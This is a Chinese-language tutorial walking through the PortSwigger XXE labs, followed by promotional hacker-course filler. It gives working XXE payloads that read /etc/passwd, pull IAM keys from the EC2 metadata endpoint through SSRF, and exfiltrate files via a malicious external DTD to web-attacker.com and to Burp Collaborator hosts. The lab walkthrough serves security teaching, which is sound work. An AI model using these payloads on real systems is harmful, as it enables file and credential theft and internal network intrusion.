温馨提示:前方高能,请各位靓仔靓女准备好小板凳,开始今天的学习之旅!
靶场传送门:https://portswigger.net/web-security
一、XML外部实体(XXE)注入:啥是XXE?一句话给你说明白!
1、扫盲:XXE是啥?
XML外部实体注入,简称XXE,这货是个Web安全漏洞,能让黑客操控应用程序处理XML数据的方式。简单来说,就是黑客能通过它来偷窥服务器上的文件,甚至能让服务器去访问它本不该访问的内部系统。
更可怕的是,在某些情况下,XXE还能升级,搞出服务器端请求伪造(SSRF)攻击,直接威胁服务器和后端设施的安全。
2、身世之谜:XXE从哪儿来?
现在很多应用都喜欢用XML来在浏览器和服务器之间传数据。但是,服务器在处理XML数据的时候,总会用到一些标准的库或者API。问题就出在这儿,XML规范里藏着一些危险的特性,而那些标准解析器又默认支持这些特性,就算你的应用根本用不着。
XML外部实体,就是一种可以自定义的XML实体,它的定义可以从DTD外部加载。这种外部实体特别危险,因为它能让你用文件路径或者URL来定义实体的内容。
3、搞事情:XXE能干啥?
1、**文件读取**:定义一个包含文件内容的外部实体,然后在应用的响应里返回它。 2、**SSRF攻击**:把外部实体定义成一个指向后端系统的URL,让服务器去访问它。 3、**带外数据泄露**:把服务器上的敏感数据偷偷地传到黑客控制的系统上。 4、**错误消息泄露**:触发一个包含敏感数据的XML解析错误消息。
二、XXE文件读取:教你一招,轻松get服务器文件!
1、开胃小菜:原理很简单,一学就会!
想要用XXE漏洞读取服务器上的任意文件,你只需要修改一下提交的XML:
1、**引入DOCTYPE**:定义一个包含文件路径的外部实体。(如果已经有DOCTYPE,就改一下) 2、**引用实体**:在XML的数据值里,用你定义的外部实体。
在真实世界里,XML数据里通常有很多数据值,随便哪个都可能在应用的响应里用到。所以,想要系统地测试XXE漏洞,你可能需要一个一个地测试XML里的每个数据节点,看看哪个会把你的实体内容显示出来。
举个栗子,有个购物App,它用XML来检查商品的库存:
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>381</productId></stockCheck>
如果这个App没有做任何XXE防御,你就可以提交下面这个XXE Payload来读取
/etc/passwd
文件:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><stockCheck><productId>&xxe;</productId></stockCheck>
这个Payload定义了一个外部实体
&xxe;
,它的值就是/etc/passwd
文件的内容,然后在产品ID里使用了这个实体。这样,App的响应就会包含文件的内容:
Invalid product ID: root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologin...
实验预告:
实验1:手把手教你用XXE读取敏感文件实验1:手把手教你用XXE读取敏感文件
实验说明:
这个实验有个“Check stock”功能,它会解析XML输入,并且在响应里返回一些你意想不到的值。
目标:注入一个XML外部实体,读取
/etc/passwd
文件的内容。
Step 1:
随便打开一个商品页面,点击“检查库存”,然后用Burp Suite抓包,把请求发到Repeater里。
Step 2:
开始XXE注入!
在XML声明和
stockCheck
元素之间,插入下面这段外部实体定义:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
然后,把
productId
的值替换成对外部实体的引用:
&xxe;
大功告成!
如果一切顺利,响应里应该会包含
"Invalid product ID:"
,后面跟着/etc/passwd
文件的内容。
三、XXE的SSRF骚操作:让服务器给你当“内鬼”!
1、概念普及:SSRF是啥?为啥XXE能搞它?
除了读取敏感数据,XXE攻击还能用来搞服务器端请求伪造(SSRF)。这可是个潜在的严重漏洞,它能诱骗服务器端应用向服务器能访问的任何URL发起HTTP请求。
想要用XXE漏洞搞SSRF,你需要把外部XML实体定义成你要攻击的URL,然后在数据值里使用这个实体。如果应用的响应里能返回你定义的实体,那你就能从响应里看到URL的返回内容,实现和后端系统的双向交互。如果不能,那你只能进行盲打SSRF。
举个栗子,下面这个XXE可以让服务器向内部系统发起HTTP请求:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
实验预告:
实验2:用XXE搞SSRF,拿下服务器的IAM密钥!实验2:用XXE搞SSRF,拿下服务器的IAM密钥!
实验说明:
这个实验也有个“Check stock”功能,它会解析XML输入,并且在响应里返回一些你意想不到的值。
实验服务器运行在一个模拟的EC2元数据端点
http://169.254.169.254/
上,你可以用它来获取服务器的IAM密钥。目标:利用XXE漏洞,搞SSRF攻击,从EC2元数据端点获取服务器的IAM密钥!
Step 1:
随便打开一个商品页面,点击“检查库存”,然后用Burp Suite抓包,把请求发到Repeater里。
Step 2:
XXE注入!
在XML声明和
stockCheck
元素之间插入下面这段外部实体定义:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
然后,把
productId
的值替换成对外部实体的引用:
&xxe;
响应里应该会包含
"Invalid product ID:"
,后面跟着元数据端点的响应,这玩意儿一开始会显示一个文件夹名称。
Step 3:
搞定!
不停地修改DTD里的URL,直到你访问到这个地址:
/latest/meta-data/iam/security-credentials/admin
这玩意儿会返回一个包含
SecretAccessKey
的JSON。
四、盲打XXE:看不见摸不着?照样拿下!
1、前戏:啥是盲XXE?为啥它这么神秘?
很多时候,XXE漏洞都是盲打的。也就是说,应用不会在响应里返回任何你定义的外部实体的值,所以你没法直接读取服务器上的文件。
虽然盲XXE漏洞比较难搞,但也不是不能搞。你需要用一些更高级的技巧。有时候,你可以用带外技术来发现漏洞,并且利用它来泄露数据。还有的时候,你可以触发XML解析错误,让错误消息泄露敏感数据。
2、盲注技巧:两种方法,让你不再盲人摸象!
盲XXE漏洞就是应用存在XXE注入,但是不会在响应里返回任何你定义的外部实体的值。这就意味着你不能直接读取服务器上的文件,所以盲XXE通常比普通的XXE漏洞更难利用。
你可以用两种方法来发现和利用盲XXE漏洞: 1、**带外交互**:触发一个和外部服务器的网络交互,有时候会在交互数据里泄露敏感数据。 2、**错误消息**:触发一个XML解析错误,让错误消息包含敏感数据。
3、带外数据传输:隔山打牛,照样能搞到数据!
通常你可以用和XXE SSRF攻击一样的技术来检测盲XXE,只不过这次你要触发一个和你控制的系统的带外网络交互。
举个栗子,你可以这样定义外部实体: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]> 然后在XML的数据值里使用这个实体。
这个XXE攻击会让服务器向指定的URL发起HTTP请求。然后,你就可以监控DNS查询和HTTP请求,看看XXE攻击是不是成功了。
实验预告:
实验3:带外交互,让服务器主动“汇报”!
如果你发现普通的实体攻击被拦截了,可能是因为应用做了一些输入验证,或者XML解析器做了一些加固。这时候,你可以试试XML参数实体。
XML参数实体是一种特殊的XML实体,它只能在DTD里的其他地方引用。
1)XML参数实体的声明要在实体名称前面加一个百分号:
<!ENTITY % myparameterentity "my parameter entity value" >
2)引用参数实体的时候,要用
%
百分号,而不是&
号:
%myparameterentity;
3)你可以用带外检测来测试盲XXE:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
这个XXE Payload声明了一个叫做
xxe
的XML参数实体,然后在DTD里使用了这个实体。这样就会向你的域名发起DNS查询和HTTP请求,让你知道攻击是不是成功了。
实验预告:
实验4:参数实体显神威,带外交互更高效!实验3:带外交互,让服务器主动“汇报”!
实验说明:
这个实验有个“Check stock”功能,它可以解析XML输入,但是不显示结果。
你可以通过触发一个和外部域的带外交互来检测盲XXE漏洞。
目标:使用外部实体,让XML解析器向Burp Collaborator发起DNS查询和HTTP请求。
Step 1:
随便打开一个商品页面,点击“检查库存”,然后用Burp Suite抓包,把请求发到Repeater里。
Step 2:
XXE注入!
在Burp Collaborator客户端里,点击“Copy to clipboard”,把Payload复制到剪贴板。(记得保持客户端窗口打开)
假设你的Burp Collaborator域名是:
4rwfonp4gqw9xc6pfy7unaght8zynn.burpcollaborator.net
在XML声明和
stockCheck
元素之间,插入下面这段外部实体定义:```
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://你的Burp Collaborator域名"> ]>比如:
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://4rwfonp4gqw9xc6pfy7unaght8zynn.burpcollaborator.net"> ]>
```然后,把
productId
的值替换成对外部实体的引用:
&xxe;
见证奇迹的时刻!
打开Collaborator标签,刷新一下,你应该能看到一些DNS和HTTP交互,这些交互是应用程序发起的。
实验4:参数实体显神威,带外交互更高效!
实验说明:
这个实验也有个“Check stock”功能,它可以解析XML输入,但是不显示任何结果,而且还拦截包含普通外部实体的请求。
目标:使用一个参数实体,让XML解析器向Burp Collaborator发起DNS查询和HTTP请求。
Step 1:
随便打开一个商品页面,点击“检查库存”,然后用Burp Suite抓包,把请求发到Repeater里。
Step 2:
XXE注入!
在Burp Collaborator客户端里,点击“Copy to clipboard”,把Payload复制到剪贴板。(记得保持客户端窗口打开)
假设你的Burp Collaborator域名是:
6bivukzadf4nrcnuu14gcp6kibo1cq.burpcollaborator.net
在XML声明和
stockCheck
元素之间,插入下面这段外部实体定义:```
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://你的Burp Collaborator域名"> %xxe; ]>比如:
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://6bivukzadf4nrcnuu14gcp6kibo1cq.burpcollaborator.net"> %xxe; ]>
```
成功就在眼前!
打开Collaborator标签,刷新一下,你应该能看到一些DNS和HTTP交互,这些交互是应用程序发起的。
4、盲XXE数据外渗:把数据偷偷运走,神不知鬼不觉!
通过带外技术检测到盲XXE漏洞固然不错,但是更重要的是如何利用这个漏洞来泄露敏感数据。你可以通过在你控制的系统上托管一个恶意的DTD,然后在XXE Payload里调用这个外部DTD来实现数据外渗。
`` 举个栗子,下面这个恶意的DTD可以用来泄露
/etc/passwd`文件的内容:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;这个DTD会做以下几件事:
1、定义一个叫做
file
的XML参数实体,它的内容是/etc/passwd
文件。2、定义一个叫做
eval
的XML参数实体,它包含另一个XML参数实体的动态声明,这个实体叫做exfiltrate
。exfiltrate
会向你的Web服务器发起一个请求,把file
实体的内容放在URL的查询字符串里。3、使用
eval
实体,这会导致exfiltrate
实体被执行。4、使用
exfiltrate
实体,这会导致它的值被计算出来,也就是向指定的URL发起请求。
```接下来,你需要把你这个恶意的DTD放在你控制的系统上,通常是你的Web服务器上。
比如,你可以把这个DTD放在这个URL: http://web-attacker.com/malicious.dtd
最后,你需要向存在漏洞的应用提交下面这个XXE Payload:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM"http://web-attacker.com/malicious.dtd"> %xxe;]>
这个XXE Payload声明了一个叫做
xxe
的XML参数实体,然后在DTD里使用了这个实体。这会导致XML解析器从你的服务器获取外部DTD,并且把它内联解释。然后,恶意DTD里定义的步骤就会被执行,/etc/passwd
文件就会被传到你的服务器上。
这种方法可能不适用于某些文件内容,比如
/etc/passwd
文件里包含的换行符。因为有些XML解析器会用API来获取外部实体定义里的URL,这个API会验证URL里允许出现的字符。这时候,你可以用FTP协议来代替HTTP。还有的时候,你可能没法过滤包含换行符的数据,所以你可以把目标改成
/etc/hostname
之类的文件。
实验预告:
实验5:用恶意外部DTD,把服务器数据“搬空”!实验5:用恶意外部DTD泄漏数据
实验说明:
这个实验有个“Check stock”功能,它可以解析XML输入,但是不显示结果。
目标:把
/etc/hostname
文件的内容导出来。
Step 1:
随便打开一个商品页面,点击“检查库存”,然后用Burp Suite抓包,把请求发到Repeater里。
Step 2:
上传DTD文件!
在Burp Collaborator客户端里,点击“Copy to clipboard”,把Payload复制到剪贴板。(记得保持客户端窗口打开)
假设你的Burp Collaborator域名是:
hwh2go56nreqc4j22wrj7aguzl5bt0.burpcollaborator.net
点击“Go to exploit server”,把恶意的DTD文件保存在你的服务器上。
把Burp Collaborator Payload放到恶意的DTD文件里: <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://hwh2go56nreqc4j22wrj7aguzl5bt0.burpcollaborator.net/?x=%file;'>"> %eval; %exfil;
点击Store上传到服务器。(亲测,后缀加不加DTD都可以被识别出来)
点击“view exploit”,记下URL。(直接上传后有显示)
https://exploit-0a86000303a98408c5b231d30145003d.exploit-server.net/exploit.dtd
Step 3:
XXE注入!
在XML声明和
stockCheck
元素之间,插入下面这段外部实体定义:```
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "你的DTD URL"> %xxe;]>比如:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a86000303a98408c5b231d30145003d.exploit-server.net/exploit.dtd"> %xxe;]>
```
Step 4
搞定!
打开Collaborator标签,刷新一下,你应该能看到一些DNS和HTTP交互,这些交互是应用程序发起的。
![](https://mmbiz.qpic.cn/mmbiz_png/pPVXCo8Wd8BnicnvL9Tx5xzc35fHP1oGeMc
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************